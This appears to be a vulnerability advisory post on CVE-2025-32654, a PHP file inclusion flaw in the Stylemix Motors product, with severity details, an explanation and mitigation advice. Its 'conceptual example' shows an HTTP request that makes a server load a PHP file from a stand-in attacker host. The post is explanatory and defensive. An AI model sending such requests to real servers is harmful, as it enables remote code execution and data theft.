CVE-2025-32654: PHP Local File Inclusion Vulnerability in Stylemix Motors

Overview

This post provides a detail analysis of the newly disclosed vulnerability, CVE-2025-32654, that affects Stylemix Motors. This vulnerability is a result of improper control of filename for include/require statement in the PHP program. To put it in simpler terms, it is a ‘PHP Remote File Inclusion’ vulnerability. It has far-reaching implications as it could potentially allow an attacker to compromise systems or leak data. This vulnerability is of significant importance to web developers and administrators who use Stylemix Motors in their environments, as it has a high CVSS Severity Score of 8.1.

Vulnerability Summary

CVE ID: CVE-2025-32654
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Stylemix Motors | Up to version 1.4.65

How the Exploit Works

This vulnerability occurs due to improper control of filename in include/require statement in PHP programs. An attacker can craft a specific request to the server, manipulating the filename that the PHP ‘include’ or ‘require’ statement tries to load. This can result in PHP executing code from an unexpected, potentially malicious, location.

Conceptual Example Code

Here is a simplified, conceptual example of how the vulnerability could be exploited. This is not a real exploit code, but it gives you an idea of how an attacker could proceed.

GET /index.php?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this conceptual example, the attacker is trying to make the server load and execute a PHP file from a remote location (‘malicious.example.com’).

Mitigation

Affected users are encouraged to apply vendor patches as soon as they are available. In the interim, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on requests that appear to be trying to exploit this vulnerability.
As always, regular system audits and security reviews can help identify potential weaknesses and provide opportunities for improving system security.